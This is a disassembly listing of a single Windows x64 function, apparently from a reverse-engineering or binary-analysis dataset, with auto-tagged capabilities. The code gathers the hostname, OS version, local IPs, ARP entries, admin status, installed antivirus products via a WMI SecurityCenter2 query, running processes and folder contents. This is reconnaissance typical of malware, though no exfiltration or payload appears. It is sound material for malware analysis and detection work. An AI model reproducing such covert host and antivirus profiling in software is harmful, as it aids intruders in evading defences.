Function at 0x140012580
Capabilities:
Connect to wmi namespace via wbemlocator
Enumerate files on windows
Get common file path
Get hostname
Get local ipv4 addresses
Get token membership
Initialize winsock library
Reference http user-agent string
Resolve dns

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa48
lea rcx, [rsp + 0xf8]
lea rbx, [rsp + 0x420]
call fcn.140026a00
mov rax, qword [rsp + 0xf8]
mov byte [rsp + 0x7f0], 1
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x7f0]
mov rcx, qword [rsp + 0x68]
mov rdx, rax
mov qword [rsp + 0x70], rax
call fcn.14001eea0
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov byte [rsp + 0x7f0], 0
call fcn.14001eea0
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov byte [rsp + 0x7f0], 0
call fcn.14001f0b0
mov rcx, qword [rsp + 0x70]
call fcn.1400141c0
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call fcn.140015bc0
mov rcx, qword [rsp + 0x70]
call fcn.14001f270
mov rcx, qword [rsp + 0x70]
mov edx, 1
call fcn.140013da0
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call fcn.140015cc0
mov rcx, qword [rsp + 0x70]
call fcn.140022c50
mov rdx, qword [rsp + 0x70]
mov r8, rbx
mov dword [rsp + 0x420], 0x101
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0xa0], rax
je 0x140012691
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.140025ab0
jmp 0x1400126b6
lea rax, [rsp + 0x5c8]
xor r12d, r12d
mov word [rsp + 0x5c8], 0
mov qword [rsp + 0x5b8], rax
mov qword [rsp + 0x5c0], r12
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x68]
xor ebp, ebp
call fcn.140015cc0
mov rcx, qword [rsp + 0xa0]
call fcn.140022c50
mov rcx, qword [rsp + 0x70]
xor edx, edx
call fcn.140013da0
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call fcn.140015cc0
mov rcx, qword [rsp + 0x70]
call fcn.140022c50
lea rax, [rsp + 0x430]
xor r8d, r8d
mov edx, 2
mov ecx, 6
mov qword [rsp + 0x420], rax
mov qword [rsp + 0x428], rbp
mov byte [rsp + 0x430], 0
call fcn.1400142a0
test al, al
je 0x1400127ba
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.RtlGetVersion
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
test rax, rax
je 0x140012779
mov dword [rsp + 0x7f0], 0x11c
mov rcx, qword [rsp + 0x70]
call rax
mov eax, dword [rsp + 0x7f4]
cvtsi2sd xmm0, rax
movsd xmm1, qword [0x14005a748]
mov ecx, 0xa
cvttsd2si r8d, xmm0
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
cdq
idiv ecx
mov rcx, qword [rsp + 0xa0]
mov r9d, edx
lea rdx, str.Windows__d._d
call fcn.140014f30
mov rdx, qword [rsp + 0xa0]
jmp 0x1400128e3
mov edx, 1
mov r8d, 1
mov ecx, 6
call fcn.1400142a0
lea rdx, str.Windows_7__SP1_
test al, al
jne 0x1400128e3
mov edx, 1
xor r8d, r8d
mov ecx, 6
call fcn.1400142a0
lea rdx, str.Windows_7
test al, al
jne 0x1400128e3
xor edx, edx
mov r8d, 2
mov ecx, 6
call fcn.1400142a0
lea rdx, str.Windows_Vista__SP2_
test al, al
jne 0x1400128e3
xor edx, edx
mov r8d, 1
mov ecx, 6
call fcn.1400142a0
lea rdx, str.Windows_Vista__SP1_
test al, al
jne 0x1400128e3
xor edx, edx
xor r8d, r8d
mov ecx, 6
call fcn.1400142a0
lea rdx, str.Windows_Vista
test al, al
jne 0x1400128e3
mov edx, 1
mov r8d, 3
mov ecx, 5
call fcn.1400142a0
lea rdx, str.Windows_XP__SP3_
test al, al
jne 0x1400128e3
mov edx, 1
mov r8d, 2
mov ecx, 5
call fcn.1400142a0
lea rdx, str.Windows_XP__SP2_
test al, al
jne 0x1400128e3
mov edx, 1
mov r8d, 1
mov ecx, 5
call fcn.1400142a0
lea rdx, str.Windows_XP__SP1_
test al, al
jne 0x1400128e3
mov edx, 1
xor r8d, r8d
mov ecx, 5
call fcn.1400142a0
lea rdx, str.Windows_XP
test al, al
jne 0x1400128e3
lea rdx, str.Unknown_Windows
mov rcx, rbx
call fcn.1400228d0
mov rdi, qword [rsp + 0x70]
xor eax, eax
mov ecx, 0x47
mov r8d, 1
mov edx, pe_nt_image_headers64
rep stosd dword [rdi], eax
mov byte [rsp + 0x90a], 1
mov dword [rsp + 0x7f0], 0x11c
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
lea rcx, [rsp + 0x7f0]
mov edx, pe_nt_image_headers64
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
jne 0x140012946
lea rdx, str._Server
mov rcx, rbx
call fcn.140020290
mov rcx, qword [rsp + 0x68]
mov rdx, rbx
call fcn.140015bc0
mov rcx, rbx
call fcn.14001f270
mov rdx, rbx
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140012bb8
lea rbx, [rsp + 0xc4]
xor r9d, r9d
xor r8d, r8d
xor edi, edi
mov qword [rsp + 0x20], rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0xc4], edi
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
lea rax, [rsp + 0x108]
mov edx, dword [rsp + 0xc4]
mov rcx, rax
mov qword [rsp + 0x78], rax
call fcn.14001f130
mov qword [rsp + 0x20], rbx
xor r8d, r8d
xor edx, edx
mov rdi, qword [rsp + 0x108]
xor ecx, ecx
mov r9, rdi
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
test eax, eax
jne 0x140012b99
movabs r15, 0x1ffffffffffffff
xor esi, esi
xor ebx, ebx
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x80], rsi
test rdi, rdi
je 0x140012bac
lea rax, [rsp + 0x378]
mov rbp, qword [rdi + 0x18]
mov qword [rsp + 0x90], rax
test rbp, rbp
je 0x140012b90
xor r10d, r10d
xor r11d, r11d
mov edx, dword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov r8, qword [rsp + 0x90]
mov dword [rsp + 0x28], r10d
mov r9d, 0x41
lea r13, [rsp + 0x2f8]
mov qword [rsp + 0x20], r11
mov dword [rsp + 0x30], 2
call qword [sym.imp.WS2_32.dll_getnameinfo]
mov rdx, qword [rdi + 0x48]
mov rcx, r13
call fcn.140025ab0
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0x318]
call fcn.140022180
mov rax, qword [rsp + 0x88]
cmp rbx, rax
je 0x140012aa7
mov rdx, r13
mov rcx, rax
call fcn.1400159d0
mov r14, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
add r14, 0x40
jmp 0x140012b6f
mov rax, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
sub r12, rax
mov rax, r12
sar rax, 6
cmp rax, r15
jne 0x140012ad2
lea rcx, str.vector::_M_realloc_insert
call fcn.140028ab0
mov rbx, qword [rsp + 0x88]
mov edx, 1
cmp qword [rsp + 0x80], rbx
mov rbx, r15
cmovne rdx, rax
add rax, rdx
jb 0x140012b04
movabs rbx, 0x1ffffffffffffff
cmp rax, rbx
cmovbe rbx, rax
mov rcx, rbx
call fcn.14001d360
mov rdx, r13
lea rcx, [rax + r12]
mov rsi, rax
call fcn.1400159d0
mov r12, qword [rsp + 0x80]
mov rcx, rsi
mov rax, qword [rsp + 0x88]
lea r14, [rcx + 0x40]
cmp r12, rax
je 0x140012b50
mov rdx, r12
call fcn.1400159d0
mov rcx, r12
add r12, 0x40
call fcn.140015a00
mov rcx, r14
jmp 0x140012b26
cmp qword [rsp + 0x80], 0
je 0x140012b68
mov rcx, qword [rsp + 0x80]
call fcn.1400273b0
shl rbx, 6
add rbx, rsi
mov rcx, r13
call fcn.140015a00
mov qword [rsp + 0x88], r14
mov rbp, qword [rbp + 8]
mov qword [rsp + 0x80], rsi
jmp 0x140012a11
mov rdi, qword [rdi + 8]
jmp 0x1400129f4
xor r9d, r9d
mov qword [rsp + 0x88], r9
mov qword [rsp + 0x80], r9
mov rcx, qword [rsp + 0x78]
call fcn.14001f190
jmp 0x140012bcb
xor r8d, r8d
mov qword [rsp + 0x88], r8
mov qword [rsp + 0x80], r8
mov rdx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
sub rdx, rax
sar rdx, 6
call fcn.140015dd0
mov rbx, qword [rsp + 0x80]
cmp qword [rsp + 0x88], rbx
je 0x140012c1f
mov rcx, qword [rsp + 0x68]
mov rdx, rbx
call fcn.140015cc0
mov rcx, qword [rsp + 0x68]
lea rdx, [rbx + 0x20]
add rbx, 0x40
call fcn.140015bc0
jmp 0x140012bf4
xor ecx, ecx
lea rbx, [rsp + 0xc8]
xor r8d, r8d
mov dword [rsp + 0xc8], ecx
mov rdx, rbx
xor ecx, ecx
call sub.IPHLPAPI.DLL_GetIpNetTable
cmp eax, 0x7a
jne 0x140012f2a
mov edx, dword [rsp + 0xc8]
lea rcx, [rsp + 0x120]
call fcn.14001f130
mov rdi, qword [rsp + 0x120]
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call sub.IPHLPAPI.DLL_GetIpNetTable
test eax, eax
jne 0x140012f0c
xor edx, edx
xor ebp, ebp
xor ebx, ebx
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x78], rdx
cmp ebp, dword [rdi]
jae 0x140012f1b
mov esi, ebp
lea rax, [rsp + 0x178]
mov byte [rsp + 0x178], 0
xor r14d, r14d
imul rsi, rsi, 0x18
mov qword [rsp + 0x168], rax
xor eax, eax
mov qword [rsp + 0x170], rax
lea r15, [rdi + rsi]
add rsi, 0xc
mov r13d, dword [r15 + 0x14]
cmp r14d, dword [r15 + 8]
jae 0x140012d2f
mov eax, r14d
lea rdx, [rdi + rsi]
lea r12, [rsp + 0x7f0]
movzx r8d, byte [rdx + rax]
mov rcx, r12
lea rdx, str._02x
call fcn.140014f30
lea rcx, [rsp + 0x168]
mov rdx, r12
mov qword [rsp + 0x98], rcx
call fcn.140020290
mov eax, dword [r15 + 8]
mov rcx, qword [rsp + 0x98]
dec eax
cmp r14d, eax
jae 0x140012d2a
lea rdx, [0x14005a2da]
call fcn.140020290
inc r14d
jmp 0x140012cca
lea rax, [rsp + 0x198]
mov byte [rsp + 0x198], 0
lea r15, [rsp + 0x188]
mov qword [rsp + 0x188], rax
xor eax, eax
mov qword [rsp + 0x190], rax
mov eax, ebp
imul rax, rax, 0x18
mov eax, dword [rdi + rax + 0x18]
cmp eax, 3
je 0x140012d94
ja 0x140012d7d
cmp eax, 1
je 0x140012d8b
lea rdx, str.invalid
cmp eax, 2
je 0x140012d9b
jmp 0x140012da3
lea rdx, str.static
cmp eax, 4
je 0x140012d9b
jmp 0x140012da3
lea rdx, str.other
jmp 0x140012d9b
lea rdx, str.dynamic
mov rcx, r15
call fcn.1400228d0
mov ecx, r13d
lea r14, [rsp + 0x3c0]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rcx, r14
mov rdx, rax
call fcn.140022180
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x3e0]
call fcn.140021a80
lea rcx, [rsp + 0x400]
mov rdx, r15
call fcn.140021a80
mov rax, qword [rsp + 0x90]
cmp rbx, rax
je 0x140012e12
mov rdx, r14
mov rcx, rax
call fcn.1400156f0
mov r12, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x78]
add r12, 0x60
jmp 0x140012edb
mov rax, qword [rsp + 0x78]
mov r12, qword [rsp + 0x90]
movabs rdx, 0x155555555555555
sub r12, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mov rbx, r12
sar rbx, 5
imul rbx, rax
cmp rbx, rdx
je 0x140012ac6
mov rsi, qword [rsp + 0x78]
mov eax, 1
cmp qword [rsp + 0x90], rsi
cmovne rax, rbx
add rbx, rax
jb 0x140012e75
xor esi, esi
test rbx, rbx
je 0x140012e84
cmp rbx, rdx
cmova rbx, rdx
jmp 0x140012e78
mov rbx, rdx
imul rcx, rbx, 0x60
call fcn.1400273d0
mov rsi, rax
lea rcx, [rsi + r12]
mov rdx, r14
call fcn.1400156f0
mov r13, qword [rsp + 0x78]
mov rcx, rsi
mov rax, qword [rsp + 0x90]
lea r12, [rcx + 0x60]
cmp r13, rax
je 0x140012ec2
mov rdx, r13
call fcn.1400156f0
mov rcx, r13
add r13, 0x60
call fcn.140015730
mov rcx, r12
jmp 0x140012e98
cmp qword [rsp + 0x78], 0
je 0x140012ed4
mov rcx, qword [rsp + 0x78]
call fcn.1400273b0
imul rbx, rbx, 0x60
add rbx, rsi
mov rcx, r14
inc ebp
call fcn.140015730
mov rcx, r15
call fcn.14001f270
lea rcx, [rsp + 0x168]
call fcn.14001f270
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x78], rsi
jmp 0x140012c8b
xor eax, eax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x120]
call fcn.14001f190
jmp 0x140012f39
xor eax, eax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x78], rax
mov rdx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
sub rdx, rax
sar rdx, 5
imul edx, edx, 0xaaaaaaab
call fcn.140015dd0
mov rbx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x90]
cmp rbx, rax
je 0x140012f9e
mov rcx, qword [rsp + 0x68]
mov rdx, rbx
call fcn.140015bc0
mov rcx, qword [rsp + 0x68]
lea rdx, [rbx + 0x20]
call fcn.140015bc0
mov rcx, qword [rsp + 0x68]
lea rdx, [rbx + 0x40]
add rbx, 0x60
call fcn.140015bc0
jmp 0x140012f62
mov rcx, qword [rsp + 0x68]
mov edx, 1
xor r13d, r13d
xor r14d, r14d
xor r15d, r15d
call fcn.140015dd0
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0x420], r13d
mov r9d, 0x220
mov qword [rsp + 0x7f0], r14
mov rcx, qword [rsp + 0xa0]
mov r8d, 0x20
mov edx, 2
mov qword [rsp + 0x50], rax
xor eax, eax
mov dword [rsp + 0x5b8], r15d
mov word [rsp + 0x5bc], 0x500
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x140013028
lea rdx, str.user
jmp 0x14001306a
xor ecx, ecx
mov rdx, qword [rsp + 0x7f0]
lea r8, [rsp + 0x420]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x7f0]
test eax, eax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
jne 0x140013057
call rax
jmp 0x14001301f
call rax
cmp dword [rsp + 0x420], 0
je 0x14001301f
lea rdx, str.admin
mov rcx, qword [rsp + 0x70]
call fcn.140022180
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call fcn.140015bc0
mov rcx, qword [rsp + 0x70]
call fcn.14001f270
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x1400130ae
xor r12d, r12d
xor r14d, r14d
mov qword [rsp + 0x98], r12
jmp 0x14001356f
xor ebx, ebx
xor esi, esi
xor edi, edi
xor ebp, ebp
xor r9d, r9d
xor r8d, r8d
or edx, 0xffffffff
xor ecx, ecx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], esi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], ebp
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x14001326e
xor r11d, r11d
xor edx, edx
lea rax, [rsp + 0xd0]
mov r9, qword [0x14005d320]
mov qword [rsp + 0xd0], r11
mov rcx, qword [0x14005d300]
mov r8d, 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x14001326e
lea rsi, str.rootSecurityCenter2
xor r15d, r15d
xor r9d, r9d
xor r10d, r10d
lea rdi, [rsp + 0x256]
mov ecx, 0x2a
lea r8, [rsp + 0xd8]
mov qword [rsp + 0xd8], r15
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0xd0]
lea rdx, [rsp + 0x256]
mov rax, qword [rcx]
mov qword [rsp + 0x40], r8
xor r8d, r8d
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], r8
xor r8d, r8d
mov dword [rsp + 0x28], r9d
xor r9d, r9d
mov qword [rsp + 0x20], r10
call qword [rax + 0x18]
test eax, eax
js 0x140013260
xor r13d, r13d
xor r14d, r14d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x38], r13d
mov rcx, qword [rsp + 0xd8]
mov edx, 0xa
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 3
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
mov rax, qword [rsp + 0xd8]
jns 0x1400131e4
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x10]
jmp 0x140013260
xor ebp, ebp
mov ecx, 0x3e
xor r12d, r12d
mov r9d, 0x30
mov qword [rsp + 0xe0], rbp
lea rdi, [rsp + 0x2ba]
movabs rsi, 0x4c00510057
mov r10, qword [rax]
mov qword [rsp + 0xf0], rsi
lea rsi, str.SELECT__FROM_AntiVirusProduct
lea rdx, [rsp + 0xf0]
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x2ba]
mov qword [rsp + 0x28], rcx
mov rcx, rax
call qword [r10 + 0xa0]
test eax, eax
jns 0x140013279
mov rcx, qword [rsp + 0xd8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0xd0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x14001309b
xor esi, esi
xor edi, edi
xor ebx, ebx
mov r15, qword [sym.imp.OLEAUT32.dll_VariantInit]
mov dword [rsp + 0xcc], esi
xor r14d, r14d
lea r12, [rsp + 0x1a8]
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0xe8], rbx
xor ebx, ebx
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x14001353a
mov rax, qword [rcx]
lea rdx, [rsp + 0xcc]
lea r9, [rsp + 0xe8]
mov r8d, 1
mov qword [rsp + 0x20], rdx
or edx, 0xffffffff
call qword [rax + 0x20]
cmp dword [rsp + 0xcc], 0
je 0x14001353a
lea rsi, [rsp + 0x138]
lea rdi, [rsp + 0x150]
mov rcx, rsi
call r15
mov rcx, rdi
call r15
xor r9d, r9d
xor r11d, r11d
xor r10d, r10d
lea rax, [rsp + 0x1b8]
mov rcx, qword [rsp + 0xe8]
xor r8d, r8d
mov qword [rsp + 0x1b0], r9
mov qword [rsp + 0x1a8], rax
mov r9, rsi
lea rax, [rsp + 0x1d8]
lea rdx, str.displayName
mov qword [rsp + 0x1c8], rax
mov rax, qword [rcx]
mov word [rsp + 0x1b8], 0
mov qword [rsp + 0x1d0], r10
mov word [rsp + 0x1d8], 0
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], r11
call qword [rax + 0x20]
test eax, eax
js 0x14001339a
cmp word [rsp + 0x138], 8
jne 0x14001339a
mov rdx, qword [rsp + 0x140]
mov rcx, r12
call fcn.1400265a0
mov rcx, qword [rsp + 0xe8]
xor r8d, r8d
mov r9, rdi
lea rdx, str.pathToSignedProductExe
lea r13, [rsp + 0x1c8]
mov rax, qword [rcx]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [rax + 0x20]
test eax, eax
js 0x1400133e9
cmp word [rsp + 0x150], 8
jne 0x1400133e9
mov rdx, qword [rsp + 0x158]
mov rcx, r13
call fcn.1400265a0
mov rcx, rsi
mov rsi, qword [sym.imp.OLEAUT32.dll_VariantClear]
call rsi
lea rcx, [rsp + 0x150]
call rsi
mov rcx, qword [rsp + 0xe8]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp qword [rsp + 0x1b0], 0
je 0x140013525
lea rax, [rsp + 0x338]
mov rdx, r12
mov rcx, rax
mov qword [rsp + 0x70], rax
call fcn.1400251c0
lea rcx, [rsp + 0x358]
mov rdx, r13
call fcn.1400251c0
cmp qword [rsp + 0x98], rbx
je 0x140013474
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x98]
mov rsi, r14
call fcn.1400156a0
mov rbp, qword [rsp + 0x98]
add rbp, 0x40
jmp 0x140013510
mov rdi, qword [rsp + 0x98]
movabs rbx, 0x1ffffffffffffff
sub rdi, r14
mov rax, rdi
sar rax, 6
cmp rax, rbx
je 0x140012ac6
cmp qword [rsp + 0x98], r14
mov edx, 1
cmovne rdx, rax
add rax, rdx
jb 0x1400134b6
cmp rax, rbx
cmovbe rbx, rax
mov rcx, rbx
call fcn.14001d360
mov rdx, qword [rsp + 0x70]
lea rcx, [rax + rdi]
mov rsi, rax
mov rdi, r14
call fcn.1400156a0
mov rcx, rsi
lea rbp, [rcx + 0x40]
cmp qword [rsp + 0x98], rdi
je 0x1400134fc
mov rdx, rdi
call fcn.1400156a0
mov rcx, rdi
add rdi, 0x40
call fcn.1400156d0
mov rcx, rbp
jmp 0x1400134d5
test r14, r14
je 0x140013509
mov rcx, r14
call fcn.1400273b0
shl rbx, 6
add rbx, rsi
mov rcx, qword [rsp + 0x70]
mov r14, rsi
call fcn.1400156d0
mov qword [rsp + 0x98], rbp
mov rcx, r13
call fcn.140022c50
mov rcx, r12
call fcn.140022c50
jmp 0x1400132aa
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x14001354d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0xd8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0xd0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x68]
mov rbx, r14
sub rdx, r14
sar rdx, 6
call fcn.140015dd0
cmp qword [rsp + 0x98], rbx
je 0x1400135b6
mov rcx, qword [rsp + 0x68]
mov rdx, rbx
call fcn.140015cc0
mov rcx, qword [rsp + 0x68]
lea rdx, [rbx + 0x20]
add rbx, 0x40
call fcn.140015cc0
jmp 0x14001358b
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0xa8], rax
cmp rax, 0xffffffffffffffff
je 0x140013793
lea rdx, [rsp + 0x5b8]
mov rcx, rax
mov dword [rsp + 0x5b8], 0x238
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140013606
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140013793
xor ecx, ecx
lea rax, [rsp + 0x5e4]
xor ebx, ebx
xor r15d, r15d
movabs r12, 0xcccccccccccccccd
mov qword [rsp + 0x70], rcx
movabs rbp, 0x333333333333333
mov qword [rsp + 0xb8], rax
mov eax, dword [rsp + 0x5c0]
lea rsi, [rsp + 0x230]
mov rdx, qword [rsp + 0xb8]
mov rcx, rsi
mov qword [rsp + 0x228], rax
call fcn.140025ab0
cmp rbx, r15
je 0x140013683
mov rax, qword [rsp + 0x228]
lea rcx, [r15 + 8]
mov rdx, rsi
add r15, 0x28
mov qword [r15 - 0x28], rax
call fcn.140024f90
jmp 0x140013767
mov rax, qword [rsp + 0x70]
mov rdi, r15
sub rdi, rax
mov rbx, rdi
sar rbx, 3
imul rbx, r12
cmp rbx, rbp
je 0x140012ac6
cmp r15, rax
mov eax, 1
cmovne rax, rbx
add rbx, rax
jb 0x1400136cd
xor esi, esi
test rbx, rbx
je 0x1400136e3
movabs rax, 0x333333333333333
cmp rbx, rax
cmova rbx, rax
jmp 0x1400136d7
movabs rbx, 0x333333333333333
imul rcx, rbx, 0x28
call fcn.1400273d0
mov rsi, rax
mov rax, qword [rsp + 0x228]
add rdi, rsi
lea rdx, [rsp + 0x230]
lea rcx, [rdi + 8]
mov qword [rdi], rax
mov rdi, rsi
call fcn.140024f90
mov r13, qword [rsp + 0x70]
add rdi, 0x28
cmp r13, r15
je 0x140013746
mov rdx, qword [r13]
lea rax, [r13 + 8]
lea rcx, [rdi - 0x20]
add r13, 0x28
mov qword [rsp + 0xb0], rax
mov qword [rdi - 0x28], rdx
mov rdx, rax
call fcn.140024f90
mov rcx, qword [rsp + 0xb0]
call fcn.140022c50
jmp 0x14001370a
cmp qword [rsp + 0x70], 0
je 0x140013758
mov rcx, qword [rsp + 0x70]
call fcn.1400273b0
imul rbx, rbx, 0x28
mov qword [rsp + 0x70], rsi
mov r15, rdi
add rbx, rsi
lea rcx, [rsp + 0x230]
call fcn.140022c50
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x5b8]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140013636
jmp 0x14001379d
xor edx, edx
xor r15d, r15d
mov qword [rsp + 0x70], rdx
mov rax, qword [rsp + 0x70]
mov rdx, r15
mov rcx, qword [rsp + 0x68]
sub rdx, rax
sar rdx, 3
imul edx, edx, 0xcccccccd
call fcn.140015dd0
mov rbx, qword [rsp + 0x70]
cmp r15, rbx
je 0x1400137e7
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x68]
call fcn.140015e30
mov rcx, qword [rsp + 0x68]
lea rdx, [rbx + 8]
add rbx, 0x28
call fcn.140015cc0
jmp 0x1400137c1
mov rcx, qword [0x14005d310]
xor eax, eax
xor r8d, r8d
xor edx, edx
lea r9, [rsp + 0x5b8]
mov qword [rsp + 0x5b8], rax
lea rbx, [rsp + 0x7f0]
call sub.SHELL32.dll_SHGetKnownFolderPath
lea rsi, [rsp + 0x1e8]
test eax, eax
js 0x140013851
mov rdx, qword [rsp + 0x5b8]
mov rcx, rbx
call fcn.140025ab0
mov rcx, qword [rsp + 0x5b8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, rsi
mov rdx, rbx
call fcn.140024f90
mov rcx, rbx
call fcn.140022c50
jmp 0x140013860
lea rdx, [0x14005a1fa]
mov rcx, rsi
call fcn.140025ab0
cmp qword [rsp + 0x1f0], 0
jne 0x140013874
xor ebx, ebx
xor esi, esi
jmp 0x140013afc
mov rcx, qword [rsp + 0xa0]
lea r8, [0x14005a340]
mov rdx, rsi
call fcn.1400271c0
mov rcx, qword [rsp + 0x5b8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0xa8], rax
call fcn.140022c50
cmp qword [rsp + 0xa8], 0xffffffffffffffff
je 0x14001386b
xor r13d, r13d
xor ebx, ebx
xor esi, esi
lea rbp, [rsp + 0x208]
lea rdx, [rsp + 0x81c]
mov rcx, rbp
call fcn.140025ab0
lea rdx, [0x14005a346]
mov rcx, rbp
call fcn.140026cd0
test al, al
jne 0x140013ac3
lea rdx, [0x14005a34a]
mov rcx, rbp
call fcn.140026cd0
test al, al
jne 0x140013ac3
mov edi, dword [rsp + 0x80c]
mov eax, dword [rsp + 0x810]
mov ecx, 0x989680
lea r12, [rsp + 0x280]
shl rdi, 0x20
or rdi, rax
movabs rax, 0xfe624e212ac18000
add rax, qword [rsp + 0x804]
cqo
idiv rcx
mov rdx, rbp
mov rcx, r12
mov qword [rsp + 0xa0], rax
call fcn.1400251c0
mov edx, dword [rsp + 0x7f0]
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x2a0], rdi
shr edx, 4
mov qword [rsp + 0x2b0], rax
and edx, 1
mov byte [rsp + 0x2a8], dl
cmp rbx, r13
je 0x1400139bf
mov rcx, rbx
mov rdx, r12
add rbx, 0x38
mov rbp, rsi
call fcn.140024f90
mov rax, qword [rsp + 0x2a0]
mov qword [rbx - 0x18], rax
mov al, byte [rsp + 0x2a8]
mov byte [rbx - 0x10], al
mov rax, qword [rsp + 0x2b0]
mov qword [rbx - 8], rax
jmp 0x140013ab3
movabs rax, 0x6db6db6db6db6db7
mov r12, rbx
movabs rdx, 0x249249249249249
sub r12, rsi
mov rdi, r12
sar rdi, 3
imul rdi, rax
cmp rdi, rdx
je 0x140012ac6
cmp rbx, rsi
mov eax, 1
cmovne rax, rdi
add rdi, rax
jb 0x140013a0e
xor ebp, ebp
test rdi, rdi
je 0x140013a1d
cmp rdi, rdx
cmova rdi, rdx
jmp 0x140013a11
mov rdi, rdx
imul rcx, rdi, 0x38
call fcn.1400273d0
mov rbp, rax
add r12, rbp
lea rdx, [rsp + 0x280]
mov r13, rbp
mov rcx, r12
call fcn.140024f90
mov rax, qword [rsp + 0x2a0]
mov qword [r12 + 0x20], rax
mov al, byte [rsp + 0x2a8]
mov byte [r12 + 0x28], al
mov rax, qword [rsp + 0x2b0]
mov qword [r12 + 0x30], rax
mov r12, rsi
cmp r12, rbx
je 0x140013a99
mov rdx, r12
mov rcx, r13
add r13, 0x38
